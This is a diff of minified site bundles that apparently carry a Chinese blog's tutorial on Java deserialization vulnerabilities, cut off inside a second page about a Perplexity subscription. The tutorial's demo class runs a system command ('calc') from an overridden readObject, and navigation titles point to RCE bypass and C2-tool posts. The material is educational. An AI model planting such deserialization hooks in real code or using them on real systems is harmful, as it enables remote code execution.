\u6ce8\u5165\u5907\u5fd8\u5355-pentestmonkey"})}),"\n"]})]})}function o(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/e549969e.b8e26668.js b/en/assets/js/e549969e.b8e26668.js new file mode 100644 index 0000000..0b6c209 --- /dev/null +++ b/en/assets/js/e549969e.b8e26668.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3999],{14035:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1"},17675:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1"},28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>l});var r=t(96540);const i={},s=r.createContext(i);function c(e){const n=r.useContext(s);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:c(e.components),r.createElement(s.Provider,{value:n},e.children)}},28634:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>a,contentTitle:()=>l,default:()=>p,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","description":"\u6982\u8ff0","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1/01.JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1/01.JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"},"next":{"title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"}}');var i=t(74848),s=t(28453);const c={},l="JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",a={},o=[{value:"\u6982\u8ff0",id:"\u6982\u8ff0",level:2},{value:"\u6210\u56e0",id:"\u6210\u56e0",level:2},{value:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",id:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",level:2},{value:"\u5e8f\u5217\u5316\u7279\u5f81",id:"\u5e8f\u5217\u5316\u7279\u5f81",level:2},{value:"\u6076\u610f\u653b\u51fb",id:"\u6076\u610f\u653b\u51fb",level:2},{value:"\u653b\u51fb\u6d41\u7a0b",id:"\u653b\u51fb\u6d41\u7a0b",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function u(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,s.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6982\u8ff0",children:"\u6982\u8ff0"}),"\n",(0,i.jsx)(n.p,{children:"Java \u63d0\u4f9b\u4e86\u4e00\u79cd\u5bf9\u8c61\u5e8f\u5217\u5316\u7684\u673a\u5236\uff0c\u8be5\u673a\u5236\u4e2d\uff0c\u4e00\u4e2a\u5bf9\u8c61\u53ef\u4ee5\u88ab\u8868\u793a\u4e3a\u4e00\u4e2a\u5b57\u8282\u5e8f\u5217\uff0c\u8be5\u5b57\u8282\u5e8f\u5217\u5305\u62ec\u8be5\u5bf9\u8c61\u7684\u6570\u636e\u3001\u6709\u5173\u5bf9\u8c61\u7684\u7c7b\u578b\u7684\u4fe1\u606f\u548c\u5b58\u50a8\u5728\u5bf9\u8c61\u4e2d\u6570\u636e\u7684\u7c7b\u578b\u3002\u5c06\u5e8f\u5217\u5316\u5bf9\u8c61\u5199\u5165\u6587\u4ef6\u4e4b\u540e\uff0c\u53ef\u4ee5\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u51fa\u6765\uff0c\u5e76\u4e14\u5bf9\u5b83\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u8c61\u7684\u7c7b\u578b\u4fe1\u606f\u3001\u5bf9\u8c61\u7684\u6570\u636e\uff0c\u8fd8\u6709\u5bf9\u8c61\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u7528\u6765\u5728\u5185\u5b58\u4e2d\u65b0\u5efa\u5bf9\u8c61\u3002\u6574\u4e2a\u8fc7\u7a0b\u90fd\u662f Java \u865a\u62df\u673a\uff08JVM\uff09\u72ec\u7acb\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5e73\u53f0\u4e0a\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\u53ef\u4ee5\u5728\u53e6\u4e00\u4e2a\u5b8c\u5168\u4e0d\u540c\u7684\u5e73\u53f0\u4e0a\u53cd\u5e8f\u5217\u5316\u8be5\u5bf9\u8c61\u3002"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["1.\u5e8f\u5217\u5316\u662f\u6307\u628a\u4e00\u4e2aJava\u5bf9\u8c61\u53d8\u6210\u4e8c\u8fdb\u5236\u5185\u5bb9\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["2.\u4e3a\u4ec0\u4e48\u8981\u628aJava\u5bf9\u8c61\u5e8f\u5217\u5316\u5462\uff1f\u56e0\u4e3a\u5e8f\u5217\u5316\u540e\u53ef\u4ee5\u628a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\uff0c\u6216\u8005\u628a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u5230\u8fdc\u7a0b\uff0c\u8fd9\u6837\uff0c\u5c31\u76f8\u5f53\u4e8e\u628aJava\u5bf9\u8c61\u5b58\u50a8\u5230\u6587\u4ef6\u6216\u8005\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u51fa\u53bb\u4e86\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u5c06\u5e8f\u5217\u5316\u5bf9\u8c61\u5199\u5165\u6587\u4ef6\u4e4b\u540e\uff0c\u53ef\u4ee5\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u51fa\u6765\uff0c\u5e76\u4e14\u5bf9\u5b83\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u5373\u628a\u4e00\u4e2a\u4e8c\u8fdb\u5236\u5185\u5bb9\uff08\u4e5f\u5c31\u662f",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\uff09\u53d8\u56deJava\u5bf9\u8c61\u3002\u6709\u4e86\u53cd\u5e8f\u5217\u5316\uff0c\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\u7684",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\u53c8\u53ef\u4ee5\u201c\u53d8\u56de\u201dJava\u5bf9\u8c61\uff0c\u6216\u8005\u4ece\u7f51\u7edc\u4e0a\u8bfb\u53d6",(0,i.jsx)(n.code,{children:"byte[]"}),"\u5e76\u628a\u5b83\u201c\u53d8\u56de\u201dJava\u5bf9\u8c61\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u8c61\u7684\u7c7b\u578b\u4fe1\u606f\u3001\u5bf9\u8c61\u7684\u6570\u636e\uff0c\u8fd8\u6709\u5bf9\u8c61\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u7528\u6765\u5728\u5185\u5b58\u4e2d\u65b0\u5efa\u5bf9\u8c61\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6574\u4e2a\u8fc7\u7a0b\u90fd\u662f Java \u865a\u62df\u673a\uff08JVM\uff09\u72ec\u7acb\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5e73\u53f0\u4e0a\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\u53ef\u4ee5\u5728\u53e6\u4e00\u4e2a\u5b8c\u5168\u4e0d\u540c\u7684\u5e73\u53f0\u4e0a\u53cd\u5e8f\u5217\u5316\u8be5\u5bf9\u8c61\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Java\u7684\u5e8f\u5217\u5316\u673a\u5236\u4ec5\u9002\u7528\u4e8eJava\uff0c\u5982\u679c\u9700\u8981\u4e0e\u5176\u5b83\u8bed\u8a00\u4ea4\u6362\u6570\u636e\uff0c\u5fc5\u987b\u4f7f\u7528\u901a\u7528\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\uff0c\u4f8b\u5982JSON\u3002"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u6210\u56e0",children:"\u6210\u56e0"}),"\n",(0,i.jsx)(n.p,{children:"\u66b4\u9732\u6216\u95f4\u63a5\u66b4\u9732\u53cd\u5e8f\u5217\u5316 API \uff0c\u5bfc\u81f4\u7528\u6237\u53ef\u4ee5\u64cd\u4f5c\u4f20\u5165\u6570\u636e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u7cbe\u5fc3\u6784\u9020\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u5e76\u6267\u884c\u6076\u610f\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u4e24\u4e2a\u6216\u591a\u4e2a\u770b\u4f3c\u5b89\u5168\u7684\u6a21\u5757\u5728\u540c\u4e00\u8fd0\u884c\u73af\u5883\u4e0b\uff0c\u5171\u540c\u4ea7\u751f\u7684\u5b89\u5168\u95ee\u9898"}),"\n",(0,i.jsx)(n.h2,{id:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",children:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,i.jsx)(n.p,{children:"FileOutputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"new FileOutputStream \u7684\u65f6\u5019\uff0c\u5982\u679c\u76ee\u6807\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u90a3\u4e48\u4f1a\u5148\u521b\u5efa\u76ee\u6807\u6587\u4ef6\uff0c\u7136\u540e\u518d\u5199\u5165\u3002(\u5982\u679c\u76ee\u6807\u6587\u4ef6\u6240\u5728\u7684\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\uff0c\u5219\u629b\u51fa\u5f02\u5e38)"}),"\n",(0,i.jsx)(n.p,{children:"new FileOutputStream(file) \u5982\u679c\u76ee\u6807\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u90a3\u4e48\u4f1a\u5148\u6e05\u7a7a \u76ee\u6807\u6587\u4ef6\u7684\u6570\u636e\uff0c\u7136\u540e\u518d\u5199\u5165\u65b0\u7684\u6570\u636e."}),"\n",(0,i.jsx)(n.p,{children:"\u5199\u5165\u6570\u636e\u7684\u65f6\u5019\u5982\u679c\u9700\u8981\u4ee5\u8ffd\u52a0\u7684\u5f62\u5f0f\u5199\u5165\uff0c\u90a3\u4e48\u9700\u8981\u4f7f\u7528new FileOutputStream(file,true) \u8fd9\u4e2a\u6784\u9020\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"FileInputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"java.io\u5305\u7684FileOutputStream\u7c7b\u53ef\u7528\u4e8e\u5c06\u6570\u636e\uff08\u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\uff09\u5199\u5165\u6587\u4ef6\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"ObjectOutputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u57fa\u672c\u4e0a\uff0cObjectOutputStream\u4f7f\u7528\u7c7b\u540d\u548c\u5bf9\u8c61\u503c\u5bf9Java\u5bf9\u8c61\u8fdb\u884c\u7f16\u7801\u3002 \u5e76\u4e14\uff0c\u56e0\u6b64\u751f\u6210\u76f8\u5e94\u7684\u6d41\u3002 \u6b64\u8fc7\u7a0b\u79f0\u4e3a\u5e8f\u5217\u5316\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u8fd9\u4e9b\u8f6c\u6362\u540e\u7684\u6d41\u53ef\u4ee5\u5b58\u50a8\u5728\u6587\u4ef6\u4e2d\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u7f51\u7edc\u4e4b\u95f4\u4f20\u8f93\u3002"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u6ce8\u610f"}),"\uff1aObjectOutputStream\u7c7b\u4ec5\u5199\u5165\u90a3\u4e9b\u5b9e\u73b0Serializable\u63a5\u53e3\u7684\u5bf9\u8c61\u3002 \u8fd9\u662f\u56e0\u4e3a\u5bf9\u8c61\u5728\u5199\u5165\u6d41\u65f6\u9700\u8981\u5e8f\u5217\u5316"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"ObjectInputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"ObjectInputStream\u4e3b\u8981\u7528\u4e8e\u8bfb\u53d6ObjectOutputStream\u5199\u5165\u7684\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u57fa\u672c\u4e0a\uff0cObjectOutputStream\u5c06Java\u5bf9\u8c61\u8f6c\u6362\u4e3a\u76f8\u5e94\u7684\u6d41\u3002 \u8fd9\u79f0\u4e3a\u5e8f\u5217\u5316\u3002 \u8fd9\u4e9b\u8f6c\u6362\u540e\u7684\u6d41\u53ef\u4ee5\u5b58\u50a8\u5728\u6587\u4ef6\u4e2d\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5982\u679c\u9700\u8981\u8bfb\u53d6\u8fd9\u4e9b\u5bf9\u8c61\uff0c\u5219\u5c06\u4f7f\u7528ObjectInputStream\uff0c\u5b83\u5c06\u628a\u6d41\u8f6c\u6362\u56de\u76f8\u5e94\u7684\u5bf9\u8c61\u3002\u8fd9\u79f0\u4e3a\u53cd\u5e8f\u5217\u5316\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-java",children:'public class Ser {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n String hello_ser = "hello ser";\n ser(hello_ser);\n unser();\n }\n\n public static void ser(Object o) throws IOException {\n System.out.println("\u5e8f\u5217\u5316\u5f00\u59cb");\n FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);\n objectOutputStream.writeObject(o);\n objectOutputStream.close();\n System.out.println("\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n public static void unser() throws IOException, ClassNotFoundException {\n System.out.println("\u53cd\u5e8f\u5217\u5316\u5f00\u59cb");\n FileInputStream fileInputStream = new FileInputStream("ser.bin");\n ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);\n String o = (String) objectInputStream.readObject();\n System.out.println(o);\n System.out.println("\u53cd\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n}\n\n--------------------------------------\n\u5e8f\u5217\u5316\u5f00\u59cb\n\u5e8f\u5217\u5316\u7ed3\u675f\n\u53cd\u5e8f\u5217\u5316\u5f00\u59cb\nhello ser\n\u53cd\u5e8f\u5217\u5316\u7ed3\u675f\n--------------------------------------\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u5e8f\u5217\u5316\u7279\u5f81",children:"\u5e8f\u5217\u5316\u7279\u5f81"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221130224748718",src:t(14035).A+"",width:"958",height:"347"})}),"\n",(0,i.jsx)(n.p,{children:"\u4e2d\u95f4\u90a3\u4e00\u680f\u662f\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u663e\u793a\uff0c\u6700\u53f3\u8fb9\u662f\u5b57\u7b26\u663e\u793a\u3002\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u7684\u7279\u5f81\u503c\u5c31\u662f16\u8fdb\u5236\u663e\u793a\u65f6\u7684\u524d32\u4f4d\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"AC ED"}),"\uff1a",(0,i.jsx)(n.code,{children:"STREAM_MAGIC"}),"\uff0c\u58f0\u660e\u4f7f\u7528\u4e86\u5e8f\u5217\u5316\u534f\u8bae\uff0c",(0,i.jsx)(n.strong,{children:"\u4ece\u8fd9\u91cc\u53ef\u4ee5\u5224\u65ad\u4fdd\u5b58\u7684\u5185\u5bb9\u662f\u5426\u4e3a\u5e8f\u5217\u5316\u6570\u636e\u3002"})," \uff08\u8fd9\u662f\u5728\u9ed1\u76d2\u6316\u6398\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5f88\u91cd\u8981\u7684\u4e00\u4e2a\u70b9\uff09"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"00 05"}),"\uff1a",(0,i.jsx)(n.code,{children:"STREAM_VERSION"}),"\uff0c\u5e8f\u5217\u5316\u534f\u8bae\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u6076\u610f\u653b\u51fb",children:"\u6076\u610f\u653b\u51fb"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:'public class Person implements Serializable {\n public String name;\n public int age;\n\n public Person() {\n }\n\n public Person(String name, int age) {\n this.name = name;\n this.age = age;\n }\n @Override\n public String toString() {\n return "Person{" +\n "name=\'" + name + \'\\\'\' +\n ", age=" + age +\n \'}\';\n }\n private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {\n ois.defaultReadObject();\n\n Runtime.getRuntime().exec("calc");\n }\n}\n\npublic class Ser {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n Person wjlin0 = new Person("wjlin0", 22);\n ser(wjlin0);\n unser();\n }\n\n public static void ser(Object o) throws IOException {\n System.out.println("\u5e8f\u5217\u5316\u5f00\u59cb");\n FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);\n objectOutputStream.writeObject(o);\n objectOutputStream.close();\n System.out.println("\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n public static void unser() throws IOException, ClassNotFoundException {\n System.out.println("\u53cd\u5e8f\u5217\u5316\u5f00\u59cb");\n FileInputStream fileInputStream = new FileInputStream("ser.bin");\n ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);\n Person o = (Person) objectInputStream.readObject();\n System.out.println(o);\n System.out.println("\u53cd\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n}\n\n'})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221130230043565",src:t(17675).A+"",width:"1783",height:"808"})}),"\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u7a0b\u5e8f\u5458\u5728\u91cd\u5199readObject\u7684\u65f6\u5019\u8c03\u7528\u4e86\u6076\u610f\u7684\u65b9\u6cd5\u65f6\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8c03\u7528\u53cd\u5e8f\u5217\u5316\u7684\u7ed3\u679c\u8ba9\u5b83\u6210\u529f\u6267\u884c\u3002\u4f8b\u5982\u56fe\u4e2d\u7684\u5f39\u51fa\u8ba1\u7b97\u5668"}),"\n",(0,i.jsx)(n.h2,{id:"\u653b\u51fb\u6d41\u7a0b",children:"\u653b\u51fb\u6d41\u7a0b"}),"\n",(0,i.jsx)(n.p,{children:"1.\u5bfb\u627e\u53cd\u5e8f\u5217\u5316\u5165\u53e3readObject()\uff0c\u67e5\u770b\u5e8f\u5217\u5bf9\u8c61\u662f\u5426\u53ef\u63a7\u3002"}),"\n",(0,i.jsx)(n.p,{children:"2.\u5bfb\u627e\u5371\u9669\u65b9\u6cd5\u5b58\u5728\u4f4d\u7f6e\u3002\u5229\u7528\u540c\u540d\u7c7b\u65b9\u6cd5\u7b49\u624b\u6bb5\u6301\u7eed\u8c03\u7528\uff0c\u6700\u7ec8\u5230\u5371\u9669\u653e\u4e0a\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5e8f\u5217\u5316\u51fa\u73b0\u6f0f\u6d1e\u7684\u539f\u56e0\uff0c\u662f\u7a0b\u5e8f\u5458\u5bf9\u5e8f\u5217\u5316\u7684\u63a5\u53e3\u66b4\u9732 \uff0c\u5e76\u5b58\u5728\u4e00\u4e9b\u5371\u9669\u7684\u7c7b\uff0c\u53ef\u88ab\u5e8f\u5217\u5316\uff0c\u6700\u7ec8\u5bfc\u81f4 \u4ee3\u7801\u6267\u884c\u7684\u60c5\u51b5\u3002"})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(u,{...e})}):u(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/e61e0832.d1cdb602.js b/en/assets/js/e61e0832.d1cdb602.js new file mode 100644 index 0000000..e302836 --- /dev/null +++ b/en/assets/js/e61e0832.d1cdb602.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6359],{3357:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052306129-945d28059510a2d1791c6d1c523ddb91.png"},26387:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053249160-a9ec7deeee59b3e553e01be8ffb587aa.png"},28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>l});var t=s(96540);const i={},r=t.createContext(i);function d(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:d(e.components),t.createElement(r.Provider,{value:n},e.children)}},42420:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102045928005-8f7aebe407906cb619fddcda80633d7a.png"},47021:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102051649779-9933aa190312bf5358d69e052a9bfa50.png"},47114:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053054657-a8acbf8bbb29f67bfe353499f3cd074c.png"},52016:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053130311-1e29a68635a17fd4a751f029ae5656d7.png"},60302:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102050448408-8955ecb9ffa8d1027771f7a2cf4cd4f7.png"},65197:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102050042247-564672de9a5bf2147dee0d58e8dcab37.png"},75198:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>l,default:()=>o,frontMatter:()=>d,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","title":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/01.Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/01.Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"torch\u5b9e\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/"},"next":{"title":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539"}}');var i=s(74848),r=s(28453);const d={},l="Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605",c={},a=[{value:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",id:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",level:2},{value:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",id:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",level:2},{value:"Perplexity \u53ef\u4ee5\u5e72\u5565\u5462\uff1f",id:"perplexity-\u53ef\u4ee5\u5e72\u5565\u5462",level:2},{value:"Perplexity Pro \u771f\u7684\u503c\u5f97\u9886\u53d6\u5417\uff1f",id:"perplexity-pro-\u771f\u7684\u503c\u5f97\u9886\u53d6\u5417",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"perplexity-pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605",children:"Perplexity 